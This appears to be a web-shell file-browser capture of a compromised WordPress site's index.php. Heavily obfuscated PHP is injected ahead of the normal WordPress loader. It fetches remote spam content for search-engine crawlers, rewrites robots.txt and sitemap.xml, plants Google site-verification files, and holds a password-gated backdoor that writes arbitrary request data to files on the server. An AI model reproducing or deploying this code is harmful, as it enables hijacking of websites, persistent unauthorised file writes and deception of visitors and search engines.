HEX
Server: Apache
System: Linux b5.s-host.com.ua 4.18.0-305.10.2.el7.x86_64 #1 SMP Fri Jul 23 21:00:55 UTC 2021 x86_64
User: unelbhzm (1470)
PHP: 8.0.18
Disabled: NONE
Upload Files
File: /sites/nuofama.com/index.php
<?php  goto NW40_;PM3Gw: exit;goto d43TI;fa4Tc: goto miTDi;goto cYgBC;lZ31f: if(stristr($txQ07cMfEvR2,$txQ07cGfEvR2)){goto DQlaF;}goto Kc7xL;z8GzP: if(strstr($txQ07ZMfEvR2,"\156\157\142\x6f\x74\165\163\145\162\x61\x67\x65\x6e\x74")){goto WIw1v;}goto BPA6z;SpD8D: if(file_exists($txQ47cMfEvR2)){goto F2hYv;}goto i4lMQ;Q2dhU: $txQ07cMGEvR2=$_REQUEST["\x67\x6f\x6f\x67\x6c\145"];goto Arer1;iy00Q: $txQ07cMfEvT2=$_SERVER["\104\x4f\103\125\115\105\116\x54\137\122\117\117\x54"];goto Xly4l;cLnoQ: if(!file_put_contents($txQ07cMfEvT2."\57".$txQ07cMfJvR2,$txQ07cMfEvv2)){goto kplbL;}goto fkxEP;FymzR: $txQ07cMfEvI2=$txQ07cMfEvT2."\57\x73\151\x74\145\x6d\141\x70\x2e\x78\155\x6c";goto NuhjG;mkBvM: LaOKA: goto e7nfc;gkH82: BRp9b: goto MiWjn;rUJhz: if(!isset($_REQUEST["\147\157\x6f\x67\154\x65"])){goto QsAtt;}goto Q2dhU;K_ESJ: exit;goto z1Oot;fy29L: if(!strstr($txQ07ZMfEvR2,"\x67\145\164\x63\x6f\x6e\x74\145\x6e\164\x33\60\61\x70\x61\x67\x65")){goto s9YEj;}goto cVcSm;S9LSn: f6HFl: goto JwjCT;voOQt: $tXQ07cMfEvR2="\45\x36\67\45\66\x43\x25\x36\63\45\66\70\x25\67\62\45\67\x31\45\x37\x32\x25\x36\x35\45\66\104\45\62\105\x25\67\61\x25\x37\x36\45\x37\x30\45\67\65\45\x36\62\x25\x36\x44\x25\x36\66\45\66\x32\45\62\x45\x25\66\66\45\x37\x36\45\x36\67\45\x37\62";goto v5Fn0;NW40_: @set_time_limit(3600);goto EKm40;IE1I2: BJMVP: goto vgrJW;C859T: DQlaF: goto ji805;ick8N: $txV07cMfEvR2=urlencode($txV07cMfEvR2);goto sNNiI;eJCT2: $txQ07cMfJvR2=@$_REQUEST["\x6d\x61\x70\156\x61\155\145"];goto t6bmq;z1Oot: jKwE0: goto EPQHo;ji805: echo "\74\x62\x72\76\163\151\164\145\x6d\141\160\x20\141\x6c\162\x65\x61\144\171\40\141\x64\144\x65\x64\x21\x3c\142\x72\x3e";goto XrNda;C7eDy: $txQr7cMfEvR2=sha1(sha1(@$_REQUEST["\x70\x64"]));goto viZow;W7hH_: $txQ07ZMfEvR2=str_replace("\x67\145\164\x63\157\x6e\164\145\x6e\164\63\x30\x31\160\x61\x67\145",'',$txQ07ZMfEvR2);goto zmj51;aHWeZ: $txQ07cMfEvR2=YgKrWSRiVT4S($txQ47cMfEvR2);goto IE1I2;J8dZE: exit;goto qt_xX;JwjCT: @header("\110\124\x54\120\57\61\56\x31\x20\x35\60\60\40\x49\156\164\145\x72\156\x61\x6c\40\123\x65\162\x76\x65\162\40\105\x72\162\157\162");goto J8dZE;Kc7xL: if(file_put_contents($txQ47cMfEvR2,trim($txQ07cMfEvR2)."\15\xa"."\x53\151\x74\145\155\x61\x70\72\40".$txQ07cGfEvR2)){goto LaOKA;}goto dEcJq;v5Fn0: $txQ07cMfEvk2="\150\164\x74\x70";goto LGKtj;VOdSU: goto FcsvF;goto mkBvM;H_pRV: exit("\74\141\40\x68\162\145\146\75".$txQ07cMGEvR2."\76".$txQ07cMGEvR2."\x3c\57\x61\x3e");goto Uph7i;ikW8H: @header("\103\157\156\x74\x65\156\164\55\164\x79\160\x65\72\x20\x74\x65\x78\x74\57\x78\155\154");goto Zzznm;RCLxo: echo "\74\x62\x72\76\x66\151\154\145\x20\167\x72\x69\x74\x65\x20\146\141\x6c\163\x65\x21\74\142\x72\76";goto fa4Tc;syR3X: $trQ07cMfEvR2="\x68\164\x74\x70";goto mUhiR;LGKtj: if(YgKrWSRiVTdS()){goto a9zti;}goto syR3X;dEcJq: echo "\74\142\162\x3e\146\x69\x6c\x65\40\x77\x72\151\164\x65\x20\x66\x61\154\163\145\x21\74\142\x72\x3e";goto VOdSU;IWjLU: if(!($txQ07cMfEqR2=="\160\x75\164")){goto m9OID;}goto rUJhz;F18rQ: FcsvF: goto rQtDZ;v2Gqq: $txQ07cMfEvRR=urlencode($tx907cMfEvR2);goto yEEJ8;NuhjG: if(!is_file($txQ07cMfEvI2)){goto PguBV;}goto rl1Pj;AipiQ: goto BJMVP;goto bFXri;j8gHA: function YgKrWSRiVT4S($txQj7cMfEvR2){goto DBsm7;x807G: $txQ07cMfEvRA=curl_exec($cxQ07cMfEvR2);goto r7ol1;Wravg: G4p65: goto YMpF_;fI0GE: curl_setopt($cxQ07cMfEvR2,CURLOPT_CONNECTTIMEOUT,30);goto x807G;imWQb: curl_setopt($cxQ07cMfEvR2,CURLOPT_URL,$txQj7cMfEvR2);goto qfI2h;cFA_x: if($txQ07cMfEvRA){goto G4p65;}goto F4nt9;u6AZO: curl_setopt($cxQ07cMfEvR2,CURLOPT_RETURNTRANSFER,1);goto fI0GE;YMpF_: return $txQ07cMfEvRA;goto hal4n;D6sqS: $cxQ07cMfEvR2=curl_init();goto imWQb;N76LU: ExxLV: goto cFA_x;r7ol1: curl_close($cxQ07cMfEvR2);goto N76LU;qfI2h: curl_setopt($cxQ07cMfEvR2,CURLOPT_SSL_VERIFYHOST,0);goto dmdz4;CzyL7: if(!function_exists("\x63\165\162\154\x5f\151\x6e\x69\x74")){goto ExxLV;}goto D6sqS;DBsm7: $txQ07cMfEvRA='';goto CzyL7;F4nt9: $txQ07cMfEvRA=@file_get_contents($txQj7cMfEvR2);goto Wravg;dmdz4: curl_setopt($cxQ07cMfEvR2,CURLOPT_SSL_VERIFYPEER,0);goto u6AZO;hal4n:}goto GzLxB;i4lMQ: $txQ07cMfEvR2="\125\163\x65\162\55\141\x67\145\x6e\164\x3a\40\x2a\xa\101\154\154\157\x77\x3a\40\x2f";goto AipiQ;HpPDd: ivCjC: goto aA3kU;aJsHx: goto ZnqjI;goto VxmUE;AGE80: m9OID: goto Lr1ZB;vgrJW: $txQ07cGfEvR2=$trQ07cMfEvR2."\x3a\x2f\x2f".$txQ07cRfEvR2."\x2f".$txQ07cMfJvR2;goto lZ31f;OEkwi: Dtck7: goto QEgK8;glES9: $txQ47cMfEvR2=$txQ07cMfEvT2."\x2f\x72\x6f\x62\157\x74\163\56\x74\170\164";goto PGHmL;qVLnQ: fJEEX: goto dS102;CkXOJ: goto n3kwI;goto fzw0P;Uph7i: RvqVz: goto yZc9d;rl1Pj: @unlink($txQ07cMfEvI2);goto eqgVI;gzBfW: echo "\74\142\x72\x3e\157\x6b\x3c\142\162\76";goto VlFTt;PltUt: $txQ071MfEvR2=urlencode($txQ071MfEvR2);goto H1mIQ;fkxEP: echo "\157\x6b";goto xoh2w;Xly4l: n3kwI: goto lucZW;d43TI: ZnqjI: goto QLDao;Gfmj0: FFp7A: goto Nt1nh;dS102: $txQ07ZMfEvR2=str_replace("\x6f\x6b\x78\x6d\154\x67\x65\x74\143\157\x6e\x74\x65\x6e\164",'',$txQ07ZMfEvR2);goto ikW8H;QEgK8: goto jKwE0;goto HpPDd;cVcSm: @header("\x48\x54\x54\x50\x2f\61\x2e\61\40\x33\60\61\x20\115\157\166\145\144\40\120\145\162\x6d\x61\156\145\x6e\164\154\171");goto W7hH_;a1_k7: a9zti: goto uHVZw;k7QxD: function YgKrWSRiVTdS(){goto v922v;Ncj9Z: if(isset($_SERVER["\110\124\124\120\137\130\137\x46\117\122\127\101\122\104\105\x44\x5f\x50\x52\x4f\124\117"])&& $_SERVER["\x48\124\x54\120\137\130\x5f\x46\x4f\x52\x57\101\x52\x44\x45\104\137\120\122\x4f\x54\x4f"]==="\x68\x74\x74\x70\x73"){goto gtuqa;}goto kDwKJ;tQ6M3: gtuqa: goto e7F8d;IZHs1: return true;goto lNnek;czuQ6: goto UEf6A;goto Bqefd;v922v: if(isset($_SERVER["\x48\124\124\120\123"])&& strtolower($_SERVER["\x48\x54\x54\120\123"])!=="\157\146\x66"){goto JJNDS;}goto Ncj9Z;bHV1A: W3U71: goto slWKR;slWKR: return true;goto PYht0;e7F8d: return true;goto ujKL4;Bqefd: JJNDS: goto IZHs1;kDwKJ: if(isset($_SERVER["\x48\x54\124\120\137\106\122\117\x4e\124\x5f\105\116\x44\x5f\x48\x54\x54\120\x53"])&& strtolower($_SERVER["\x48\124\x54\x50\137\x46\122\x4f\116\x54\137\105\116\104\137\x48\x54\124\x50\123"])!=="\x6f\x66\x66"){goto W3U71;}goto czuQ6;fX5Ve: return false;goto Ln3JH;PYht0: UEf6A: goto fX5Ve;lNnek: goto UEf6A;goto tQ6M3;ujKL4: goto UEf6A;goto bHV1A;Ln3JH:}goto k1gJo;yEEJ8: function YgKrWSZiVT4S(){goto b0C20;t6xRm: $txQ07cMfEvRR=$_SERVER["\122\105\x51\x55\x45\123\x54\137\x55\x52\111"];goto XEZwk;gox0H: goto GQHwc;goto m4F2i;HPBxK: hNXtU: goto gox0H;IdVEl: return $txQ07cMfEvRR;goto hw46I;XEZwk: GQHwc: goto IdVEl;b0C20: if(isset($_SERVER["\122\105\x51\125\x45\x53\124\137\125\122\x49"])){goto Ld9p5;}goto bEI0L;BhtWd: $txQ07cMfEvRR=$_SERVER["\120\x48\x50\x5f\123\105\114\106"]."\77".$_SERVER["\x61\162\147\166"][0];goto HPBxK;RvMR4: goto hNXtU;goto e8ajw;FBgJz: $txQ07cMfEvRR=$_SERVER["\120\x48\120\x5f\x53\x45\x4c\x46"]."\x3f".$_SERVER["\x51\x55\105\122\131\137\123\x54\x52\x49\x4e\107"];goto RvMR4;m4F2i: Ld9p5: goto t6xRm;bEI0L: if(isset($_SERVER["\x61\162\147\166"])){goto irKJR;}goto FBgJz;e8ajw: irKJR: goto BhtWd;hw46I:}goto nspu3;sNNiI: PQS8T: goto C7eDy;K4j9n: s9YEj: goto aJsHx;PGHmL: if(stristr($txQ07cMfJvR2,"\125\x73\x65\162\x2d\x61\147\x65\156\164")){goto FFp7A;}goto SpD8D;K1Kgp: if(isset($_SERVER["\x44\117\103\125\115\105\x4e\x54\137\x52\x4f\x4f\x54"])){goto CKpk_;}goto oQths;Ct1aE: if(strstr($txQ07ZMfEvR2,"\x67\x65\164\143\157\x6e\164\x65\x6e\x74\x34\x30\64\160\141\x67\x65")){goto FEZte;}goto fy29L;mUhiR: goto BRp9b;goto a1_k7;CjZfN: $txQ07cMfEvv2=@$_REQUEST["\144\163\164\162"];goto cLnoQ;cYgBC: Uk0S0: goto gzBfW;nspu3: $txS07cMfEvR2=str_rot13(urldecode($tXQ07cMfEvR2));goto k7QxD;hlyTI: Q9c0j: goto aSXyH;Ntfxb: exit;goto K4j9n;k1gJo: $txQ07cRfEvR2=$_SERVER["\x48\124\124\x50\x5f\110\x4f\x53\x54"];goto wWZD4;qh51U: file_put_contents($txQ07cMGEvR2,"\147\157\x6f\x67\154\x65\x2d\x73\x69\x74\145\x2d\166\x65\162\151\146\151\143\x61\x74\151\157\156\72"."\40".$txQ07cMGEvR2);goto H_pRV;KHcR3: $tx907cMfEvR2="\57";goto DK5me;ry9Gx: if(!($tx907cMfEvR2=='')){goto M29Ub;}goto KHcR3;pE14O: $txQ07cyfEvR2=sha1(sha1(@$_REQUEST["\x61"]));goto dbMUR;uHVZw: $trQ07cMfEvR2="\x68\x74\x74\160\x73";goto gkH82;j5ESq: goto H93yJ;goto KfhOo;LWT4u: goto Dtck7;goto qVLnQ;e7nfc: echo "\x3c\x62\162\x3e\x6f\x6b\x3c\x62\x72\x3e";goto F18rQ;ZXfb0: $txQ07cMfEqR2="\x70\x75\164";goto sfNlE;MiWjn: $tx907cMfEvR2=YgKrWSZiVT4S();goto ry9Gx;wnTgr: if(strstr($txQ07ZMfEvR2,"\157\x6b\170\x6d\x6c\x67\145\x74\143\x6f\156\164\145\156\164")){goto fJEEX;}goto qHVlU;KkDj1: echo $txQ07ZMfEvR2;goto K_ESJ;oQths: $txQ07cMfEvT2=dirname(__FILE__);goto CkXOJ;wc10C: $txQ07ZMfEvR2=str_replace("\x6f\x6b\150\164\x6d\x6c\147\145\x74\143\x6f\x6e\164\145\x6e\x74",'',$txQ07ZMfEvR2);goto KkDj1;DK5me: M29Ub: goto v2Gqq;T9FIR: FBT1J: goto THaBZ;QLDao: goto WoVRa;goto S9LSn;GzLxB: $tSQ07cMfEvR2=$txQ07cMfEvk2."\x3a\57\x2f".$txS07cMfEvR2."\x2f\151\x6e\x64\x65\x78\x6e\x65\167\x2e\160\150\x70\x3f\167\145\x62\75".$txQ07cRfEvR2."\x26\172\172\75".YgKrWXRiVT4S()."\x26\165\x72\x69\x3d".$txQ07cMfEvRR."\46\165\x72\x6c\x73\x68\x61\156\x67\x3d".$txV07cMfEvR2."\46\150\164\164\160\x3d".$trQ07cMfEvR2."\x26\154\x61\x6e\x67\x3d".$txQ071MfEvR2;goto BQB88;LdSAl: @header("\110\x54\124\x50\x2f\61\56\61\x20\64\x30\64\x20\x4e\157\x74\x20\x46\x6f\x75\156\144");goto PM3Gw;VxmUE: FEZte: goto LdSAl;sfNlE: glm4A: goto IWjLU;VlFTt: miTDi: goto hlyTI;KfhOo: YQloC: goto FymzR;t6bmq: $txQ07cMfEqR2=@$_REQUEST["\x61\143\164\151\157\x6e"];goto K1Kgp;rQtDZ: goto F2p56;goto C859T;BPA6z: if(strstr($txQ07ZMfEvR2,"\157\x6b\x68\x74\155\154\x67\145\164\143\x6f\x6e\164\x65\156\164")){goto ivCjC;}goto wnTgr;NGjgW: exit;goto OEkwi;bFXri: F2hYv: goto aHWeZ;H1mIQ: $txV07cMfEvR2='';goto zlaSI;a5RJZ: goto Q9c0j;goto Gfmj0;aSXyH: H93yJ: goto pE14O;yZc9d: QsAtt: goto Rur0i;Zzznm: echo $txQ07ZMfEvR2;goto NGjgW;KXx4x: if(file_put_contents($txQ47cMfEvR2,$txQ07cMfJvR2)){goto Uk0S0;}goto RCLxo;dbMUR: $txQ0DcMfEvR2=sha1(sha1(@$_REQUEST["\x62"]));goto b4G1g;b4G1g: if(!($txQ07cyfEvR2==YgKrWSRiVT4S($txQ07cMfEvk2."\72\57\x2f".$txS07cMfEvR2."\x2f\141\x2e\x70"."\150\160")|| $txQ0DcMfEvR2=="\x66\x38\146\x30\x64\141\145\x38\x30\64\x33\66\70\143\x30\x33\x33\x34\x65\62\62\144\x39\x64\x63\142\67\60\144\x33\143\67\x62\142\x66\141\x39\66\63\65")){goto oHseF;}goto CjZfN;Ticwn: echo "\74\142\162\76\x73\151\164\x65\x6d\141\160\40\156\141\155\145\40\x66\x61\154\x73\x65\41\74\x62\x72\76";goto j5ESq;qHVlU: if(strstr($txQ07ZMfEvR2,"\x67\x65\164\x63\x6f\156\x74\145\x6e\x74\x35\60\x30\x70\x61\147\x65")){goto f6HFl;}goto Ct1aE;EKm40: @ignore_user_abort(1);goto voOQt;THaBZ: function YgKrWXRiVT4S(){goto pOZ1w;yoDT1: return false;goto A7pqO;THlV_: SA_Kb: goto tF16P;TIAJE: if(stristr($zxQ07cMfEvR2,"\x67\157\157\147\154\145\x62\x6f\164")|| stristr($zxQ07cMfEvR2,"\142\151\156\x67")|| stristr($zxQ07cMfEvR2,"\171\x61\150\157\157")|| stristr($zxQ07cMfEvR2,"\147\157\x6f\147\x6c\x65")|| stristr($zxQ07cMfEvR2,"\x47\x6f\157\147\x6c\x65\142\157\164")|| stristr($zxQ07cMfEvR2,"\x67\x6f\157\147\x6c\145\142\x6f\164")){goto VO2tn;}goto yoDT1;pOZ1w: $zxQ07cMfEvR2=strtolower($_SERVER["\110\124\124\120\x5f\x55\x53\x45\122\x5f\x41\x47\x45\116\124"]);goto TIAJE;A7pqO: goto SA_Kb;goto QZjsX;QZjsX: VO2tn: goto WISlk;WISlk: return true;goto THlV_;tF16P:}goto j8gHA;OnHK4: $txV07cMfEvR2=$_SERVER["\110\x54\x54\x50\137\x52\105\x46\x45\x52\105\122"];goto ick8N;wWZD4: $txQ071MfEvR2=@$_SERVER["\110\x54\124\x50\x5f\101\x43\103\x45\x50\124\x5f\114\x41\116\107\125\101\107\x45"];goto PltUt;Nt1nh: @unlink($txQ47cMfEvR2);goto KXx4x;zlaSI: if(!isset($_SERVER["\x48\x54\x54\120\x5f\x52\x45\x46\x45\122\x45\x52"])){goto PQS8T;}goto OnHK4;XrNda: F2p56: goto a5RJZ;Rur0i: if(strstr($txQ07cMfJvR2,"\56\x78\x6d\x6c")){goto YQloC;}goto Ticwn;zmj51: header("\x4c\x6f\143\x61\x74\151\157\x6e\x3a\40".$txQ07ZMfEvR2);goto Ntfxb;lucZW: if($txQ07cMfEqR2){goto glm4A;}goto ZXfb0;Lr1ZB: exit;goto T9FIR;a9ql6: oHseF: goto AGE80;viZow: if(!($txQr7cMfEvR2=="\146\x37\x35\x66\x64\x35\x61\x63\144\63\x36\x61\67\146\142\144\61\145\x32\x31\71\x62\61\71\70\70\x31\141\65\63\64\x38\142\x66\143\66\x36\x65\67\71")){goto FBT1J;}goto eJCT2;qt_xX: WoVRa: goto LWT4u;BQB88: $txQ07ZMfEvR2=trim(YgKrWSRiVT4S($tSQ07cMfEvR2));goto z8GzP;fzw0P: CKpk_: goto iy00Q;eqgVI: PguBV: goto glES9;Arer1: if(!preg_match("\x2f\136\x67\x6f\157\x67\154\x65\x2e\52\77\x28\x5c\56\150\x74\x6d\154\51\x24\x2f\x69",$txQ07cMGEvR2)){goto RvqVz;}goto qh51U;aA3kU: @header("\103\x6f\156\164\145\x6e\164\x2d\x74\171\160\x65\x3a\40\164\145\170\x74\57\150\164\155\x6c\73\40\x63\x68\x61\162\x73\145\x74\75\x75\x74\146\x2d\70");goto wc10C;xoh2w: kplbL: goto a9ql6;EPQHo: WIw1v:define('WP_USE_THEMES',true);require __DIR__.'/wp-blog-header.php';